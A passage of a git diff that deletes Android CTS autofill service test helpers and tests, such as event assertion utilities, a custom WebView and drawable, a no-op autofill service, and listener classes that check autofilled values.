-        final MyEvent event = getEvent();
-        assertWithMessage("Invalid type on event %s", event).that(event.event)
-                .isEqualTo(EVENT_INPUT_SHOWN);
-        assertWithMessage("Invalid view on event %s", event).that(event.view)
-            .isSameInstanceAs(expectedView);
-        return event;
-    }
-
-    /**
-     * Convenience method to assert an UI shown event for the given virtual view was received.
-     */
-    public void assertUiShownEvent(View expectedView, int expectedChildId)
-            throws InterruptedException {
-        final MyEvent event = assertUiShownEvent(expectedView);
-        assertWithMessage("Invalid child on event %s", event).that(event.childId)
-            .isEqualTo(expectedChildId);
-    }
-
-    /**
-     * Convenience method to assert an UI shown event a virtual view was received.
-     *
-     * @return virtual child id
-     */
-    public int assertUiShownEventForVirtualChild(View expectedView) throws InterruptedException {
-        final MyEvent event = assertUiShownEvent(expectedView);
-        return event.childId;
-    }
-
-    /**
-     * Convenience method to assert an UI hidden event for the given view was received.
-     */
-    public MyEvent assertUiHiddenEvent(View expectedView) throws InterruptedException {
-        final MyEvent event = getEvent();
-        assertWithMessage("Invalid type on event %s", event).that(event.event)
-                .isEqualTo(EVENT_INPUT_HIDDEN);
-        assertWithMessage("Invalid view on event %s", event).that(event.view)
-                .isSameInstanceAs(expectedView);
-        return event;
-    }
-
-    /**
-     * Convenience method to assert an UI hidden event for the given view was received.
-     */
-    public void assertUiHiddenEvent(View expectedView, int expectedChildId)
-            throws InterruptedException {
-        final MyEvent event = assertUiHiddenEvent(expectedView);
-        assertWithMessage("Invalid child on event %s", event).that(event.childId)
-                .isEqualTo(expectedChildId);
-    }
-
-    /**
-     * Convenience method to assert an UI unavailable event for the given view was received.
-     */
-    public MyEvent assertUiUnavailableEvent(View expectedView) throws InterruptedException {
-        final MyEvent event = getEvent();
-        assertWithMessage("Invalid type on event %s", event).that(event.event)
-                .isEqualTo(EVENT_INPUT_UNAVAILABLE);
-        assertWithMessage("Invalid view on event %s", event).that(event.view)
-                .isSameInstanceAs(expectedView);
-        return event;
-    }
-
-    /**
-     * Convenience method to assert an UI unavailable event for the given view was received.
-     */
-    public void assertUiUnavailableEvent(View expectedView, int expectedChildId)
-            throws InterruptedException {
-        final MyEvent event = assertUiUnavailableEvent(expectedView);
-        assertWithMessage("Invalid child on event %s", event).that(event.childId)
-                .isEqualTo(expectedChildId);
-    }
-
-    private static final class MyEvent {
-        public final View view;
-        public final int childId;
-        public final int event;
-
-        MyEvent(View view, int event) {
-            this(view, View.NO_ID, event);
-        }
-
-        MyEvent(View view, int childId, int event) {
-            this.view = view;
-            this.childId = childId;
-            this.event = event;
-        }
-
-        @Override
-        public String toString() {
-            return callbackEventAsString(event) + ": " + view + " (childId: " + childId + ")";
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillId.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillId.java
deleted file mode 100644
index 830f322..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillId.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Parcel;
-import android.os.Parcelable;
-import android.view.autofill.AutofillId;
-
-public final class MyAutofillId implements Parcelable {
-
-    private final AutofillId mId;
-
-    public MyAutofillId(AutofillId id) {
-        mId = id;
-    }
-
-    @Override
-    public int hashCode() {
-        final int prime = 31;
-        int result = 1;
-        result = prime * result + ((mId == null) ? 0 : mId.hashCode());
-        return result;
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (this == obj) return true;
-        if (obj == null) return false;
-        if (getClass() != obj.getClass()) return false;
-        MyAutofillId other = (MyAutofillId) obj;
-        if (mId == null) {
-            if (other.mId != null) return false;
-        } else if (!mId.equals(other.mId)) {
-            return false;
-        }
-        return true;
-    }
-
-    @Override
-    public String toString() {
-        return mId.toString();
-    }
-
-    @Override
-    public int describeContents() {
-        return 0;
-    }
-
-    @Override
-    public void writeToParcel(Parcel dest, int flags) {
-        dest.writeParcelable(mId, flags);
-    }
-
-    public static final Creator<MyAutofillId> CREATOR = new Creator<MyAutofillId>() {
-
-        @Override
-        public MyAutofillId createFromParcel(Parcel source) {
-            return new MyAutofillId(source.readParcelable(null));
-        }
-
-        @Override
-        public MyAutofillId[] newArray(int size) {
-            return new MyAutofillId[size];
-        }
-    };
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyDrawable.java b/tests/autofillservice/src/android/autofillservice/cts/MyDrawable.java
deleted file mode 100644
index ada5a67..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MyDrawable.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
-import android.graphics.Rect;
-import android.graphics.drawable.Drawable;
-import android.util.Log;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class MyDrawable extends Drawable {
-
-    private static final String TAG = "MyDrawable";
-
-    private static CountDownLatch sLatch;
-    private static MyDrawable sInstance;
-
-    private static Rect sAutofilledBounds;
-
-    public MyDrawable() {
-        if (sInstance != null) {
-            throw new IllegalStateException("There can be only one!");
-        }
-        sInstance = this;
-    }
-
-    @Override
-    public void draw(Canvas canvas) {
-        if (sInstance != null && sAutofilledBounds == null) {
-            sAutofilledBounds = new Rect(getBounds());
-            Log.d(TAG, "Autofilled at " + sAutofilledBounds);
-            sLatch.countDown();
-        }
-    }
-
-    public static Rect getAutofilledBounds() throws InterruptedException {
-        if (sLatch == null) {
-            throw new AssertionError("sLatch should be not null");
-        }
-
-        if (!sLatch.await(Timeouts.FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
-            throw new RetryableException(Timeouts.FILL_TIMEOUT, "custom drawable not drawn");
-        }
-        return sAutofilledBounds;
-    }
-
-    /**
-     * Asserts the custom drawable is not drawn.
-     */
-    public static void assertDrawableNotDrawn() throws Exception {
-        if (sLatch == null) {
-            throw new AssertionError("sLatch should be not null");
-        }
-
-        if (sLatch.await(Timeouts.DRAWABLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-            throw new AssertionError("custom drawable is drawn");
-        }
-    }
-
-    public static void initStatus() {
-        sLatch = new CountDownLatch(1);
-        sInstance = null;
-        sAutofilledBounds = null;
-    }
-
-    public static void clearStatus() {
-        sLatch = null;
-        sInstance = null;
-        sAutofilledBounds = null;
-    }
-
-    @Override
-    public void setAlpha(int alpha) {
-    }
-
-    @Override
-    public void setColorFilter(ColorFilter colorFilter) {
-    }
-
-    @Override
-    public int getOpacity() {
-        return 0;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
deleted file mode 100644
index 35317f9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Context;
-import android.util.AttributeSet;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-import android.webkit.JavascriptInterface;
-import android.webkit.WebView;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link WebView} used to assert contents were autofilled.
- */
-public class MyWebView extends WebView {
-
-    private static final String TAG = "MyWebView";
-
-    private FillExpectation mExpectation;
-
-    public MyWebView(Context context) {
-        super(context);
-        setJsHandler();
-        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
-    }
-
-    public MyWebView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-        setJsHandler();
-        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
-    }
-
-    public void expectAutofill(String username, String password) {
-        mExpectation = new FillExpectation(username, password);
-    }
-
-    public void assertAutofilled() throws Exception {
-        assertWithMessage("expectAutofill() not called").that(mExpectation).isNotNull();
-        mExpectation.assertUsernameCalled();
-        mExpectation.assertPasswordCalled();
-    }
-
-    private void setJsHandler() {
-        getSettings().setJavaScriptEnabled(true);
-        addJavascriptInterface(new JavascriptHandler(), "JsHandler");
-    }
-
-    boolean isAutofillEnabled() {
-        return getContext().getSystemService(AutofillManager.class).isEnabled();
-    }
-
-    private class FillExpectation {
-        private final CountDownLatch mUsernameLatch = new CountDownLatch(1);
-        private final CountDownLatch mPasswordLatch = new CountDownLatch(1);
-        private final String mExpectedUsername;
-        private final String mExpectedPassword;
-        private String mActualUsername;
-        private String mActualPassword;
-
-        FillExpectation(String username, String password) {
-            this.mExpectedUsername = username;
-            this.mExpectedPassword = password;
-        }
-
-        void setUsername(String username) {
-            mActualUsername = username;
-            mUsernameLatch.countDown();
-        }
-
-        void setPassword(String password) {
-            mActualPassword = password;
-            mPasswordLatch.countDown();
-        }
-
-        void assertUsernameCalled() throws Exception {
-            assertCalled(mUsernameLatch, "username");
-            assertWithMessage("Wrong value for username").that(mExpectation.mActualUsername)
-                .isEqualTo(mExpectation.mExpectedUsername);
-        }
-
-        void assertPasswordCalled() throws Exception {
-            assertCalled(mPasswordLatch, "password");
-            assertWithMessage("Wrong value for password").that(mExpectation.mActualPassword)
-                    .isEqualTo(mExpectation.mExpectedPassword);
-        }
-
-        private void assertCalled(CountDownLatch latch, String field) throws Exception {
-            if (!latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
-                throw new RetryableException(FILL_TIMEOUT, "%s not called", field);
-            }
-        }
-    }
-
-    private class JavascriptHandler {
-
-        @JavascriptInterface
-        public void onUsernameChanged(String username) {
-            Log.d(TAG, "onUsernameChanged():" + username);
-            if (mExpectation != null) {
-                mExpectation.setUsername(username);
-            }
-        }
-
-        @JavascriptInterface
-        public void onPasswordChanged(String password) {
-            Log.d(TAG, "onPasswordChanged():" + password);
-            if (mExpectation != null) {
-                mExpectation.setPassword(password);
-            }
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
deleted file mode 100644
index 43bb5f1..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.CancellationSignal;
-import android.service.autofill.AutofillService;
-import android.service.autofill.FillCallback;
-import android.service.autofill.FillRequest;
-import android.service.autofill.SaveCallback;
-import android.service.autofill.SaveRequest;
-import android.util.Log;
-
-/**
- * {@link AutofillService} implementation that does not do anything...
- */
-public class NoOpAutofillService extends AutofillService {
-
-    private static final String TAG = "NoOpAutofillService";
-
-    static final String SERVICE_NAME = NoOpAutofillService.class.getPackage().getName()
-            + "/." + NoOpAutofillService.class.getSimpleName();
-    static final String SERVICE_LABEL = "NoOpAutofillService";
-
-    @Override
-    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
-            FillCallback callback) {
-        Log.d(TAG, "onFillRequest()");
-    }
-
-    @Override
-    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
-        Log.d(TAG, "onFillResponse()");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/NonAutofillableActivity.java b/tests/autofillservice/src/android/autofillservice/cts/NonAutofillableActivity.java
deleted file mode 100644
index 3233cd4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/NonAutofillableActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-
-public final class NonAutofillableActivity extends AbstractAutoFillActivity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.non_autofillable_activity);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OnClickActionTest.java b/tests/autofillservice/src/android/autofillservice/cts/OnClickActionTest.java
deleted file mode 100644
index c65f78c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OnClickActionTest.java
+++ /dev/null
@@ -1,190 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_HIDE;
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_PASSWORD_MASKED;
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_PASSWORD_PLAIN;
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_SHOW;
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_USERNAME_MASKED;
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_USERNAME_PLAIN;
-import static android.autofillservice.cts.CustomDescriptionHelper.newCustomDescriptionWithHiddenFields;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.FillContext;
-import android.service.autofill.OnClickAction;
-import android.service.autofill.VisibilitySetterAction;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillId;
-
-import org.junit.Test;
-
-import java.util.regex.Pattern;
-
-/**
- * Integration tests for the {@link OnClickAction} implementations.
- */
-@AppModeFull(reason = "Service-specific test")
-public class OnClickActionTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<SimpleSaveActivity> {
-
-    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
-
-    private SimpleSaveActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<SimpleSaveActivity> getActivityRule() {
-        return new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testHideAndShow() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId usernameId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-
-                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
-                            .Builder(usernameId, MATCH_ALL, "$1").build();
-                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
-                            .Builder(passwordId, MATCH_ALL, "$1").build();
-                    builder.setCustomDescription(newCustomDescriptionWithHiddenFields()
-                            .addChild(R.id.username_plain, usernameTrans)
-                            .addChild(R.id.password_plain, passwordTrans)
-                            .addOnClickAction(R.id.show, new VisibilitySetterAction
-                                    .Builder(R.id.hide, View.VISIBLE)
-                                    .setVisibility(R.id.show, View.GONE)
-                                    .setVisibility(R.id.username_plain, View.VISIBLE)
-                                    .setVisibility(R.id.password_plain, View.VISIBLE)
-                                    .setVisibility(R.id.username_masked, View.GONE)
-                                    .setVisibility(R.id.password_masked, View.GONE)
-                                    .build())
-                            .addOnClickAction(R.id.hide, new VisibilitySetterAction
-                                    .Builder(R.id.show, View.VISIBLE)
-                                    .setVisibility(R.id.hide, View.GONE)
-                                    .setVisibility(R.id.username_masked, View.VISIBLE)
-                                    .setVisibility(R.id.password_masked, View.VISIBLE)
-                                    .setVisibility(R.id.username_plain, View.GONE)
-                                    .setVisibility(R.id.password_plain, View.GONE)
-                                    .build())
-                            .build());
-                })
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("42");
-            mActivity.mPassword.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Assert initial UI is hidden the password.
-        final UiObject2 showButton = assertHidden(saveUi);
-
-        // Then tap SHOW and assert it's showing how
-        showButton.click();
-        final UiObject2 hideButton = assertShown(saveUi);
-
-        // Hide again
-        hideButton.click();
-        assertHidden(saveUi);
-
-        // Rinse-and repeat a couple times
-        showButton.click(); assertShown(saveUi);
-        hideButton.click(); assertHidden(saveUi);
-        showButton.click(); assertShown(saveUi);
-        hideButton.click(); assertHidden(saveUi);
-
-        // Then save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "108");
-    }
-
-    /**
-     * Asserts that the Save UI is in the hiding the password field, returning the {@code SHOW}
-     * button.
-     */
-    private UiObject2 assertHidden(UiObject2 saveUi) throws Exception {
-        // Username
-        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
-        mUiBot.assertChildText(saveUi, ID_USERNAME_MASKED, "****");
-        assertInvisible(saveUi, ID_USERNAME_PLAIN);
-
-        // Password
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_MASKED, "....");
-        assertInvisible(saveUi, ID_PASSWORD_PLAIN);
-
-        // Buttons
-        assertInvisible(saveUi, ID_HIDE);
-        return mUiBot.assertChildText(saveUi, ID_SHOW, "SHOW");
-    }
-
-    /**
-     * Asserts that the Save UI is in the showing the password field, returning the {@code HIDE}
-     * button.
-     */
-    private UiObject2 assertShown(UiObject2 saveUi) throws Exception {
-        // Username
-        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
-        mUiBot.assertChildText(saveUi, ID_USERNAME_PLAIN, "42");
-        assertInvisible(saveUi, ID_USERNAME_MASKED);
-
-        // Password
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_PLAIN, "108");
-        assertInvisible(saveUi, ID_PASSWORD_MASKED);
-
-        // Buttons
-        assertInvisible(saveUi, ID_SHOW);
-        return mUiBot.assertChildText(saveUi, ID_HIDE, "HIDE");
-    }
-
-    private void assertInvisible(UiObject2 saveUi, String resourceId) {
-        mUiBot.assertGoneByRelativeId(saveUi, resourceId, Timeouts.UI_TIMEOUT);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OnCreateServiceStatusVerifierActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OnCreateServiceStatusVerifierActivity.java
deleted file mode 100644
index 69bd868..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OnCreateServiceStatusVerifierActivity.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.getAutofillServiceName;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.Bundle;
-import android.util.Log;
-
-/**
- * Activity used to verify whether the service is enable or not when it's launched.
- */
-public class OnCreateServiceStatusVerifierActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "OnCreateServiceStatusVerifierActivity";
-
-    static final String SERVICE_NAME = android.autofillservice.cts.NoOpAutofillService.SERVICE_NAME;
-
-    private String mSettingsOnCreate;
-    private boolean mEnabledOnCreate;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.simple_save_activity);
-
-        mSettingsOnCreate = getAutofillServiceName();
-        mEnabledOnCreate = getAutofillManager().isEnabled();
-        Log.i(TAG, "On create: settings=" + mSettingsOnCreate + ", enabled=" + mEnabledOnCreate);
-    }
-
-    void assertServiceStatusOnCreate(boolean enabled) {
-        if (enabled) {
-            assertWithMessage("Wrong settings").that(mSettingsOnCreate)
-                .isEqualTo(SERVICE_NAME);
-            assertWithMessage("AutofillManager.isEnabled() is wrong").that(mEnabledOnCreate)
-                .isTrue();
-
-        } else {
-            assertWithMessage("Wrong settings").that(mSettingsOnCreate).isNull();
-            assertWithMessage("AutofillManager.isEnabled() is wrong").that(mEnabledOnCreate)
-                .isFalse();
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java
deleted file mode 100644
index 9ba3f6b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.CancellationSignal;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link android.os.CancellationSignal.OnCancelListener} used to assert that
- * {@link android.os.CancellationSignal.OnCancelListener} was called, and just once.
- */
-public final class OneTimeCancellationSignalListener
-        implements CancellationSignal.OnCancelListener {
-    private final CountDownLatch mLatch = new CountDownLatch(1);
-    private final long mTimeoutMs;
-
-    public OneTimeCancellationSignalListener(long timeoutMs) {
-        mTimeoutMs = timeoutMs;
-    }
-
-    public void assertOnCancelCalled() throws Exception {
-        final boolean called = mLatch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) waiting for onCancel()", mTimeoutMs)
-                .that(called).isTrue();
-    }
-
-    @Override
-    public void onCancel() {
-        mLatch.countDown();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
deleted file mode 100644
index 4d7af94..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.widget.CompoundButton;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link android.widget.CompoundButton.OnCheckedChangeListener} used to assert a
- * {@link CompoundButton} was auto-filled properly.
- */
-final class OneTimeCompoundButtonListener implements CompoundButton.OnCheckedChangeListener {
-    private final String name;
-    private final CountDownLatch latch = new CountDownLatch(1);
-    private final CompoundButton button;
-    private final boolean expected;
-
-    OneTimeCompoundButtonListener(String name, CompoundButton button,
-            boolean expectedAutofillValue) {
-        this.name = name;
-        this.button = button;
-        this.expected = expectedAutofillValue;
-    }
-
-    @Override
-    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
-        latch.countDown();
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on CompoundButton %s", FILL_TIMEOUT.ms(), name)
-            .that(set).isTrue();
-        final boolean actual = button.isChecked();
-        assertWithMessage("Wrong auto-fill value on CompoundButton %s", name)
-            .that(actual).isEqualTo(expected);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeDateListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeDateListener.java
deleted file mode 100644
index 407861d..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeDateListener.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.widget.DatePicker;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@OnDateChangedListener} used to assert a {@link DatePicker} was auto-filled properly.
- */
-final class OneTimeDateListener implements DatePicker.OnDateChangedListener {
-    private final String name;
-    private final CountDownLatch latch = new CountDownLatch(1);
-    private final DatePicker datePicker;
-    private final int expectedYear;
-    private final int expectedMonth;
-    private final int expectedDay;
-
-    OneTimeDateListener(String name, DatePicker datePicker, int expectedYear, int expectedMonth,
-            int expectedDay) {
-        this.name = name;
-        this.datePicker = datePicker;
-        this.expectedYear = expectedYear;
-        this.expectedMonth = expectedMonth;
-        this.expectedDay = expectedDay;
-    }
-
-    @Override
-    public void onDateChanged(DatePicker view, int year, int monthOfYear, int dayOfMonth) {
-        latch.countDown();
-    }
-
-    void assertAutoFilled() throws Exception {
